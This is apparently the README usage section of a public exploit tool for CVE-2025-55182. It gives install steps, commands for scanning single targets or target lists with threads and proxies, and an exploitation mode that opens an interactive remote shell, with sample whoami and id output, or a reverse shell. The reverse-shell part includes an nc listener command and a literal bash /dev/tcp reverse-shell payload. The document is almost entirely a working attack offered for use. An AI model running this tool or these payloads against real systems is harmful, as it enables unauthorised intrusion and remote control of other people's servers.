git clone https://github.com/AliHzSec/CVE-2025-55182.git
cd CVE-2025-55182

python3 -m venv .venv
source .venv/bin/activate

pip install -r requirements.txt

python3 main.py [-h] (-d | -e) [-u URL] [-l LIST] [-p PROXY | -pl PROXY_LIST] [-t THREADS] [-s]

python3 main.py -d -u https://example.com

python3 main.py -d -l targets.txt

python3 main.py -d -l targets.txt -p http://127.0.0.1:8080

python3 main.py -d -l targets.txt -s

python3 main.py -d -l targets.txt -t 20

python3 main.py -e -u https://vulnerable-site.com

Choose exploitation method:
  [i] Interactive shell
  [r] Reverse shell

Enter your choice (i/r): i

shell> whoami
ec2-user

shell> id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user)

shell> ls -la
total 48
drwxrwxr-x 5 user user 4096 Dec 7 10:00 .
drwxr-xr-x 3 root root 4096 Dec 1 08:00 ...
...

shell> exit

python3 main.py -e -u https://vulnerable-site.com

Choose exploitation method:
  [i] Interactive shell
  [r] Reverse shell

Enter your choice (i/r): r

Choose payload option:
  [d] Use default payloads (Try multiple reverse shells)
  [c] Provide custom payload

Enter your choice (d/c): d

Enter your IP and port in this format:
Example: 192.168.1.100:4444

IP:PORT> 192.168.1.100:4444

Setup your listener with this command:
nc -lvnp 4444

Press ENTER when your listener is ready...

Enter your choice (d/c): c

Enter your custom reverse shell payload:
payload> bash -i >& /dev/tcp/10.0.0.1/4444 0>&1